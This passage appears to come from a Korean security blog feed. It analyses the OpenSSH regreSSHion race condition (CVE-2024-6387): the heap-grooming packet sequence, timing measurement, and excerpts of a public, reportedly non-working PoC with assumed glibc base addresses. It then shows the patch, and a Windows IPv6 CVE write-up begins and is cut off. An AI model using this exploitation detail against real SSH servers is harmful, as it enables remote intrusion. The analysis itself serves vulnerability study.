&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Description of a conversion step.  */
struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;
  const char *__modname;

  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;

  char *__from_name;
  char *__to_name;

  __gconv_fct __fct;
  __gconv_btowc_fct __btowc_fct;
  __gconv_init_fct __init_fct;
  __gconv_end_fct __end_fct;

  /* Information about the number of bytes needed or produced in this
     step.  This helps optimizing the buffer sizes.  */
  int __min_needed_from;
  int __max_needed_from;
  int __min_needed_to;
  int __max_needed_to;

  /* Flag whether this is a stateful encoding or not.  */
  int __stateful;

  void *__data;		/* Pointer to step-local data.  */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;iconv/gconv.h:__gconv_fct&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Type of a conversion function.  */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
			    const unsigned char **, const unsigned char *,
			    unsigned char **, size_t *, int, int);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;h4&gt;Exploit strategy&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;SIGALRM&lt;/code&gt;에 의해서 어떻게 &lt;code&gt;Exploit&lt;/code&gt;을 달성하는지 알아봅시다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1449 #define set_head(p, s)       ((p)-&amp;gt;mchunk_size = (s))
------------------------------------------------------------------------
3765 _int_malloc (mstate av, size_t bytes)
3766 {
....
3798   nb = checked_request2size (bytes);
....
4295               size = chunksize (victim);
....
4300               remainder_size = size - nb;
....
4316                   remainder = chunk_at_offset (victim, nb);
....
4320                   bck = unsorted_chunks (av);
4321                   fwd = bck-&amp;gt;fd;
....
4324                   remainder-&amp;gt;bk = bck;
4325                   remainder-&amp;gt;fd = fwd;
4326                   bck-&amp;gt;fd = remainder;
4327                   fwd-&amp;gt;bk = remainder;
....
4337                   set_head (victim, nb | PREV_INUSE |
4338                             (av != &amp;amp;main_arena ? NON_MAIN_ARENA : 0));
4339                   set_head (remainder, remainder_size | PREV_INUSE);
....
4343               void *p = chunk2mem (victim);
....
4345               return p;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;malloc&lt;/code&gt;에서 &lt;code&gt;4327&lt;/code&gt;행이 실행된 이후에 &lt;code&gt;4339&lt;/code&gt;행 이전이 실행되기전 &lt;code&gt;SIGALRM&lt;/code&gt;에 의해 &lt;code&gt;malloc&lt;/code&gt;이 중단되는 경우를 이용합니다.&lt;/p&gt;
&lt;p&gt;그렇게되면 &lt;code&gt;remainder&lt;/code&gt;가 쪼개졌지만 크기는 갱신되지 않은 상태로 &lt;code&gt;unsorted&lt;/code&gt; 리스트에 연결되게 됩니다. 이때의 크기 필드값은 갱신되지 않았기 때문에
이전에 이 청크를 할당받은 데이터가 그대로 남아있어 해당 값이 크기 데이터로 사용되게 됩니다. 이렇게하여 커진 &lt;code&gt;remainder chunk&lt;/code&gt;의 크기는 뒷쪽을 덮어쓸 수 있을만큼 커질 수 있습니다.&lt;/p&gt;
&lt;p&gt;이를 악용하는 흐름은 다음과 같습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/exploit_process.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Large hole&lt;/code&gt;(8KB 크기의 free된 청크)와 &lt;code&gt;small hole&lt;/code&gt;(&lt;code&gt;320B&lt;/code&gt; 크기의 &lt;code&gt;free&lt;/code&gt;된 청크)가 존재합니다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4KB&lt;/code&gt; 크기의 청크를 요청하여 &lt;code&gt;Large hole&lt;/code&gt;을 두 개의 청크로 나누도록 유도합니다.
&lt;ul&gt;
&lt;li&gt;이때 해당 작업에 의해 &lt;code&gt;Large hole&lt;/code&gt;이 두 개의 청크로 나뉘어진 뒤 위의 &lt;code&gt;4339&lt;/code&gt;행이 실행되기전에 &lt;code&gt;SIGALRM&lt;/code&gt;에 의해서 &lt;code&gt;malloc&lt;/code&gt;의 처리가 중단됩니다.&lt;/li&gt;
&lt;li&gt;이렇게 처리가 중단된 &lt;code&gt;free remainder&lt;/code&gt; 청크의 크기는 이전 값에 의해서 결정됩니다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;remainder&lt;/code&gt;의 크기가 갱신되지 않고 이전 값(찌거기 값)에 의해서 크기가 증가했기 때문에 청크는 뒤의 &lt;code&gt;small hole&lt;/code&gt;까지 겹치게됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SIGARLM&lt;/code&gt;의 &lt;code&gt;syslog&lt;/code&gt;에서 앞서 알아본 흐름에 의해 &lt;code&gt;fopen&lt;/code&gt;을 호출해 &lt;code&gt;FILE&lt;/code&gt; 구조체가 &lt;code&gt;small hole&lt;/code&gt;에 할당됩니다.
&lt;ul&gt;
&lt;li&gt;이는 앞선 처리에 의해 &lt;code&gt;remainder&lt;/code&gt; 청크와 겹치는 영역이 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;인위적으로 증가한 &lt;code&gt;remainder&lt;/code&gt; 청크는 &lt;code&gt;fopen&lt;/code&gt; 이후의 &lt;code&gt;__fread_unlocked&lt;/code&gt;에서 &lt;code&gt;4KB read buffer&lt;/code&gt;를 할당받는 과정에서 한번 더 쪼개지게됩니다.&lt;/li&gt;
&lt;li&gt;remainder 청크가 기록되고 FILE의 &lt;code&gt;_vtable_offset&lt;/code&gt; 멤버가 remainder 청크의 bk 필드의 3번째 바이트로 덮어씌워지게됩니다.(0x61)
&lt;ul&gt;
&lt;li&gt;이때 &lt;code&gt;FILE&lt;/code&gt; 구조체의 &lt;code&gt;_codevt&lt;/code&gt; 멤버는 &lt;code&gt;glibc&lt;/code&gt;의 &lt;code&gt;malloc&lt;/code&gt; 빈 중 하나를 가리키게 덮어씌워집니다.&lt;/li&gt;
&lt;li&gt;이때의 가정은 해당 주소를 모두 공격자가 안다고 가정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;위의 설명만 봐도 엄청나게 까다로운 조건이 있다는 것을 알 수 있습니다. 이런 까다로운 조건들을 다시 정리해보면 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;공격을 성공시키기 위해선 &lt;code&gt;glibc&lt;/code&gt; &lt;code&gt;FILE&lt;/code&gt; 구조체의 &lt;code&gt;_vtable_offset&lt;/code&gt;이 활성화 되어있어야 하기 때문에 현재 정리된 글에선 i386 glibc만 가능합니다.&lt;/li&gt;
&lt;li&gt;또한 i386 sshd의 메모리가 &lt;code&gt;0xb7200000&lt;/code&gt; 또는 &lt;code&gt;0xb7400000&lt;/code&gt;에만 매핑된다는 점을 악용합니다.
&lt;ul&gt;
&lt;li&gt;이를 이용해 &lt;code&gt;ASLR&lt;/code&gt;을 최대한 우회하고 이미 알고 있는 주소를 활용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;앞선 언급과 같이 이미 주소값들을 알고 있다는 가정으로 시작을 하기 때문에 &lt;code&gt;_vtable_offset&lt;/code&gt;을 덮어쓸 때 쓰는 &lt;code&gt;bk&lt;/code&gt;값 역시 &lt;code&gt;0xb761d7f8&lt;/code&gt;로 고정입니다.
&lt;ul&gt;
&lt;li&gt;해당 값의 3번째 바이트 값이 &lt;code&gt;0x61&lt;/code&gt;이므로 &lt;code&gt;_vtable_offset&lt;/code&gt;이 &lt;code&gt;0x61&lt;/code&gt;로 오염된다고 가정할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FILE&lt;/code&gt;을 덮어쓰기 위해 정확한 타이밍에 위 레이아웃을 달성한 상태로 &lt;code&gt;malloc&lt;/code&gt;의 수행 중에 &lt;code&gt;SIGALRM&lt;/code&gt;이 발생해야합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;위와 같은 시나리오를 성공적으로 달성하기 위해 실험에서는 다음과 같은 레이아웃을 구상하여 레이스 컨디션에서 목적을 달성하려합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/heap_layout.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;힙 레이아웃을 어떻게 이렇게 만들까요? 다음 함수들을 이용합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1754 cert_parse(struct sshbuf *b, struct sshkey *key, struct sshbuf *certbuf)
1755 {
....
1797         while (sshbuf_len(principals) &amp;gt; 0) {
....
1805                 if ((ret = sshbuf_get_cstring(principals, &amp;amp;principal,
....
1820                 key-&amp;gt;cert-&amp;gt;principals[key-&amp;gt;cert-&amp;gt;nprincipals++] = principal;
1821         }
------------------------------------------------------------------------
 562 cert_free(struct sshkey_cert *cert)
 563 {
 ...
 572         for (i = 0; i &amp;lt; cert-&amp;gt;nprincipals; i++)
 573                 free(cert-&amp;gt;principals[i]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;함수 명에서도 볼 수 있듯 공개 키 파싱 코드를 악용해서 위의 힙 레이아웃을 만들게됩니다. 이때 &lt;code&gt;cert_parse&lt;/code&gt;의 &lt;code&gt;1805&lt;/code&gt;행에 위치한 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/blob/V_9_2/sshkey.c#L1805&quot;&amp;gt;&lt;code&gt;sshbuf_get_cstring&lt;/code&gt;&amp;lt;/a&amp;gt;과 &lt;code&gt;cert_free&lt;/code&gt;의 &lt;code&gt;573&lt;/code&gt;행에 위치한 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/blob/V_9_2/sshkey.c#L573C3-L573C7&quot;&amp;gt;&lt;code&gt;free&lt;/code&gt;&amp;lt;/a&amp;gt;를 이용합니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sshbuf_get_cstring&lt;/code&gt;은 다음과 같이 &lt;code&gt;malloc&lt;/code&gt;을 사용합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
sshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp)
{
	size_t len;
	const u_char *p, *z;
	int r;

	if (valp != NULL)
		*valp = NULL;
	if (lenp != NULL)
		*lenp = 0;
	if ((r = sshbuf_peek_string_direct(buf, &amp;amp;p, &amp;amp;len)) != 0)
		return r;
	/* Allow a \0 only at the end of the string */
	if (len &amp;gt; 0 &amp;amp;&amp;amp;
	    (z = memchr(p , &apos;\0&apos;, len)) != NULL &amp;amp;&amp;amp; z &amp;lt; p + len - 1) {
		SSHBUF_DBG((&quot;SSH_ERR_INVALID_FORMAT&quot;));
		return SSH_ERR_INVALID_FORMAT;
	}
	if ((r = sshbuf_skip_string(buf)) != 0)
		return -1;
	if (valp != NULL) {
		if ((*valp = malloc(len + 1)) == NULL) {
			SSHBUF_DBG((&quot;SSH_ERR_ALLOC_FAIL&quot;));
			return SSH_ERR_ALLOC_FAIL;
		}
		if (len != 0)
			memcpy(*valp, p, len);
		(*valp)[len] = &apos;\0&apos;;
	}
	if (lenp != NULL)
		*lenp = (size_t)len;
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위에서 알아본 힙 레이아웃을 달성하기 위해서 &lt;code&gt;sshd&lt;/code&gt;에 다음과 같은 5개의 서로 다른 공개 키 패킷을 전송합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a : &lt;code&gt;tcache&lt;/code&gt; 크기의 청크를 &lt;code&gt;malloc&lt;/code&gt;하고 &lt;code&gt;free&lt;/code&gt;하기 위한 패킷&lt;/li&gt;
&lt;li&gt;b : 다양한 크기(&lt;code&gt;~8KB&lt;/code&gt;, &lt;code&gt;320B hole&lt;/code&gt;)의 청크를 &lt;code&gt;malloc&lt;/code&gt;하고 &lt;code&gt;free&lt;/code&gt;하여 27개의 &lt;code&gt;large hole&lt;/code&gt;, &lt;code&gt;small hole&lt;/code&gt; 쌍을 만들기 위한 패킷&lt;/li&gt;
&lt;li&gt;c : 이미 &lt;code&gt;free&lt;/code&gt;된 청크들이 익스플로잇에서 조작된 값을 사용할 수 있게 미리 값들을 세팅해두는 패킷
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;remainder&lt;/code&gt;의 크기를 크게 만들 가짜 헤더를 중간에 기록&lt;/li&gt;
&lt;li&gt;&lt;code&gt;glibc&lt;/code&gt;의 보안 검사를 통과하기 위한 &lt;code&gt;footer&lt;/code&gt;를 &lt;code&gt;small hole&lt;/code&gt; 끝 부분에 기록&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fake vtable&lt;/code&gt;과 &lt;code&gt;_codecvt&lt;/code&gt; 포인터를 &lt;code&gt;small hole&lt;/code&gt;에 기록&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;d : 앞서&lt;code&gt; free&lt;/code&gt;한 청크들이 &lt;code&gt;unsorted bin&lt;/code&gt;에서 각각의 &lt;code&gt;large bin&lt;/code&gt;과 &lt;code&gt;small bin&lt;/code&gt;에 배치될 수 있도록 하는 패킷&lt;/li&gt;
&lt;li&gt;e : 27개의 쌍을 이용해 레이스 컨디션을 수행하기 위한 패킷(앞서 알아본 힙 레이아웃 조작을 위한 시퀀스 수행 : &lt;code&gt;malloc(~4KB)&lt;/code&gt;, &lt;code&gt;malloc(304)&lt;/code&gt;, &lt;code&gt;malloc(~4KB), malloc(304))&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Timing strategy&lt;/h4&gt;
&lt;p&gt;여러 제약 사항 때문에 결과적으로 다음과 같은 함수에서 시간을 측정하여 패킷 전송 타이밍을 맞추게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 88 userauth_pubkey(struct ssh *ssh, const char *method)
 89 {
...
138         if (pktype == KEY_UNSPEC) {
139                 /* this is perfectly legal */
140                 verbose_f(&quot;unsupported public key algorithm: %s&quot;, pkalg);
141                 goto done;
142         }
143         if ((r = sshkey_from_blob(pkblob, blen, &amp;amp;key)) != 0) {
144                 error_fr(r, &quot;parse key&quot;);
145                 goto done;
146         }
...
151         if (key-&amp;gt;type != pktype) {
152                 error_f(&quot;type mismatch for decoded key &quot;
153                     &quot;(received %d, expected %d)&quot;, key-&amp;gt;type, pktype);
154                 goto done;
155         }
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;공개 키 패킷 중 &lt;code&gt;pktype&lt;/code&gt;에 오류가 발생하게끔 데이터를 설정해 138~142행에서 패킷 오류가 발생하게 합니다.&lt;/li&gt;
&lt;li&gt;두 번째로 공개 키 패킷 중 &lt;code&gt;key-&amp;gt;type&lt;/code&gt;에 오류가 발생하게끔 데이터를 설정해 151~155행에서 패킷 오류가 발생하게 합니다.&lt;/li&gt;
&lt;li&gt;이때 143행에 존재하는 &lt;code&gt;sshkey_from_blob&lt;/code&gt;은 공개키를 파싱하는 함수로 위에서 알아본 양옆에있는 두 함수의 응답 시간의 차가 &lt;code&gt;sshd&lt;/code&gt;가 공개 키를 파싱하는 데 걸리는 시간이 됩니다.&lt;/li&gt;
&lt;li&gt;이를 통해 마지막 패킷의 전송시간을 조절합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;sshkey_from_blob&lt;/code&gt;은 다음과 같은 흐름으로 &lt;code&gt;cert_parse&lt;/code&gt;를 호출합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;sshkey.c:sshkey_from_blob&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
sshkey_from_blob(const u_char *blob, size_t blen, struct sshkey **keyp)
{
	struct sshbuf *b;
	int r;

	if ((b = sshbuf_from(blob, blen)) == NULL)
		return SSH_ERR_ALLOC_FAIL;
	r = sshkey_from_blob_internal(b, keyp, 1);
	sshbuf_free(b);
	return r;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;sshkey.c:sshkey_from_blob_internal&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static int
sshkey_from_blob_internal(struct sshbuf *b, struct sshkey **keyp,
    int allow_cert)
{
	int type, ret = SSH_ERR_INTERNAL_ERROR;
	char *ktype = NULL;
	struct sshkey *key = NULL;
	struct sshbuf *copy;
	const struct sshkey_impl *impl;

#ifdef DEBUG_PK /* XXX */
	sshbuf_dump(b, stderr);
#endif
	if (keyp != NULL)
		*keyp = NULL;
	if ((copy = sshbuf_fromb(b)) == NULL) {
		ret = SSH_ERR_ALLOC_FAIL;
		goto out;
	}
	if (sshbuf_get_cstring(b, &amp;amp;ktype, NULL) != 0) {
		ret = SSH_ERR_INVALID_FORMAT;
		goto out;
	}

	type = sshkey_type_from_name(ktype);
	if (!allow_cert &amp;amp;&amp;amp; sshkey_type_is_cert(type)) {
		ret = SSH_ERR_KEY_CERT_INVALID_SIGN_KEY;
		goto out;
	}
	if ((impl = sshkey_impl_from_type(type)) == NULL) {
		ret = SSH_ERR_KEY_TYPE_UNKNOWN;
		goto out;
	}
	if ((key = sshkey_new(type)) == NULL) {
		ret = SSH_ERR_ALLOC_FAIL;
		goto out;
	}
	if (sshkey_type_is_cert(type)) {
		/* Skip nonce that preceeds all certificates */
		if (sshbuf_get_string_direct(b, NULL, NULL) != 0) {
			ret = SSH_ERR_INVALID_FORMAT;
			goto out;
		}
	}
	if ((ret = impl-&amp;gt;funcs-&amp;gt;deserialize_public(ktype, b, key)) != 0)
		goto out;

	/* Parse certificate potion */
	if (sshkey_is_cert(key) &amp;amp;&amp;amp; (ret = cert_parse(b, key, copy)) != 0)
		goto out;

	if (key != NULL &amp;amp;&amp;amp; sshbuf_len(b) != 0) {
		ret = SSH_ERR_INVALID_FORMAT;
		goto out;
	}
	ret = 0;
	if (keyp != NULL) {
		*keyp = key;
		key = NULL;
	}
 out:
	sshbuf_free(copy);
	sshkey_free(key);
	free(ktype);
	return ret;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;사실상 위에서 알아본 제약 사항 때문에 해당 취약점을 이용하는 것은 많이 힘들어보입니다. 또한 환경에 대한 제약 역시 큽니다. 이제 PoC를 확인해봅시다.&lt;/p&gt;
&lt;h1&gt;PoC Analysis&lt;/h1&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://github.com/lflare/cve-2024-6387-poc/tree/master&quot;&amp;gt;PoC&amp;lt;/a&amp;gt;가 현재 공개된 상태지만 의도적으로 해당 PoC는 작동하지않게 작성되어있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/commit_history.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;PoC는 앞서 알아본 다음과 같은 순서로 패킷을 전송합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a : &lt;code&gt;tcache&lt;/code&gt; 크기의 청크를 &lt;code&gt;malloc&lt;/code&gt;하고 &lt;code&gt;free&lt;/code&gt;하기 위한 패킷&lt;/li&gt;
&lt;li&gt;b : 다양한 크기(&lt;code&gt;~8KB&lt;/code&gt;, &lt;code&gt;320B hole&lt;/code&gt;)의 청크를 &lt;code&gt;malloc&lt;/code&gt;하고 &lt;code&gt;free&lt;/code&gt;하여 27개의 &lt;code&gt;large hole&lt;/code&gt;, &lt;code&gt;small hole&lt;/code&gt; 쌍을 만들기 위한 패킷&lt;/li&gt;
&lt;li&gt;c : 이미 &lt;code&gt;free&lt;/code&gt;된 청크들이 익스플로잇에서 조작된 값을 사용할 수 있게 미리 값들을 세팅해두는 패킷
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;remainder&lt;/code&gt;의 크기를 크게 만들 가짜 헤더를 중간에 기록&lt;/li&gt;
&lt;li&gt;&lt;code&gt;glibc&lt;/code&gt;의 보안 검사를 통과하기 위한 &lt;code&gt;footer&lt;/code&gt;를 &lt;code&gt;small hole&lt;/code&gt; 끝 부분에 기록&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fake vtable&lt;/code&gt;과 &lt;code&gt;_codecvt&lt;/code&gt; 포인터를 &lt;code&gt;small hole&lt;/code&gt;에 기록&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;d : 앞서 &lt;code&gt;free&lt;/code&gt;한 청크들이 &lt;code&gt;unsorted bin&lt;/code&gt;에서 각각의 &lt;code&gt;large bin&lt;/code&gt;과 &lt;code&gt;small bin&lt;/code&gt;에 배치될 수 있도록 하는 패킷&lt;/li&gt;
&lt;li&gt;e : 27개의 쌍을 이용해 레이스 컨디션을 수행하기 위한 패킷(앞서 알아본 힙 레이아웃 조작을 위한 시퀀스 수행 : &lt;code&gt;malloc(~4KB)&lt;/code&gt;, &lt;code&gt;malloc(304)&lt;/code&gt;, &lt;code&gt;malloc(~4KB), malloc(304))&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PoC에서 역시 &lt;code&gt;glibc&lt;/code&gt;를 다음과 같은 두 개의 주소중 하나라고 가정합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt; 함수의 핵심적인 부분을 살펴봅시다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
main (int argc, char *argv[])
{
  ...
          prepare_heap (sock);
          time_final_packet (sock, &amp;amp;parsing_time);

          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf (&quot;Possible exploitation success on attempt %d with glibc &quot;
                      &quot;base 0x%lx!\n&quot;,
                      attempt, glibc_base);
              success = 1;
              break;
            }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위에 나타난 함수들 중 &lt;code&gt;prepare_heap&lt;/code&gt; 함수에서 a~d의 역할을 하는 패킷들이 전송됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i &amp;lt; 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, &apos;A&apos;, sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }

  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i &amp;lt; 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, &apos;B&apos;, sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));

      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, &apos;C&apos;, sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }

  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i &amp;lt; 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }

  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, &apos;E&apos;, sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;prepare_heap&lt;/code&gt;이 완료되면 &lt;code&gt;time_final_paket&lt;/code&gt; 함수를 통해서 공개키가 파싱되는 타이밍을 알아냅니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;

  printf (&quot;Estimated parsing time: %.6f seconds\n&quot;, *parsing_time);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위에서 알아낸 타이밍을 기반으로 레이스 컨디션을 수행합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...
attempt_race_condition (sock, parsing_time, glibc_base)
...
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;sshd.c&lt;/code&gt;에 위치한 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/blob/V_9_7/sshd.c#L353&quot;&amp;gt;grace_alarm_handler&amp;lt;/a&amp;gt; 함수가 &lt;code&gt;sshd-session.c&lt;/code&gt;로 옮겨가며 다음과 같이 코드가 수정되었습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Signal handler for the alarm after the login grace period has expired.
 * As usual, this may only take signal-safe actions, even though it is
 * terminal.
 */
static void
grace_alarm_handler(int sig)
{
	/*
	 * Try to kill any processes that we have spawned, E.g. authorized
	 * keys command helpers or privsep children.
	 */
	if (getpgid(0) == getpid()) {
		struct sigaction sa;

		/* mask all other signals while in handler */
		memset(&amp;amp;sa, 0, sizeof(sa));
		sa.sa_handler = SIG_IGN;
		sigfillset(&amp;amp;sa.sa_mask);
		sa.sa_flags = SA_RESTART;
		(void)sigaction(SIGTERM, &amp;amp;sa, NULL);
		kill(0, SIGTERM);
	}
	_exit(EXIT_LOGIN_GRACE);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.openssh.com/txt/release-9.8&quot;&amp;gt;https://www.openssh.com/txt/release-9.8&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt&quot;&amp;gt;https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2024-38063</title><link>https://aidenkim-com.github.io/posts/cve-2024-38063/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2024-38063/</guid><description>Analysis of Windows TCP/IP IPv6 Vulnerabilities</description><pubDate>Thu, 03 Oct 2024 07:06:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게된 윈도우 커널 원데이 취약점에 관한 글입니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063&quot;&amp;gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;CVE-2024-38063은 2024년 8월 13일에 패치가 발표된 Windows TCP/IP RCE 취약점입니다. IPv6의 확장 헤더 로직의 에러 처리 부분에서 잘못된 연결 리스트 처리에 의해 Integer underflow를 일으켜 더 나아가 Heap overflow를 발생시킬 수 있습니다.&lt;/p&gt;
&lt;p&gt;해당 취약점을 악용하기 위해서는 타겟에 IPv6 기능이 활성화되어있어야합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/1.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;취약점은 윈도우의 tcpip.sys 드라이버에서 발생합니다. 여러 분석 글에서도 다뤘듯, tcpip.sys의 패치 전 후의 디핑 결과를 통해서 취약점이 발생하는 부분을 알아낼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/2.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;취약점은 tcpip.sys의 확장 헤더 처리 과정에서 일어납니다. 또한 이를 취약점으로 연계시키기 위해 PoC에서는 확장 헤더의 재조립 기능을 이용합니다. 때문에 쉽게 취약점을 이해하기 위해 해당 글을 읽기에 앞서 IPv6의 확장 헤더 스펙에 대해서 먼저 살펴보시는 것을 추천드립니다.&lt;/p&gt;
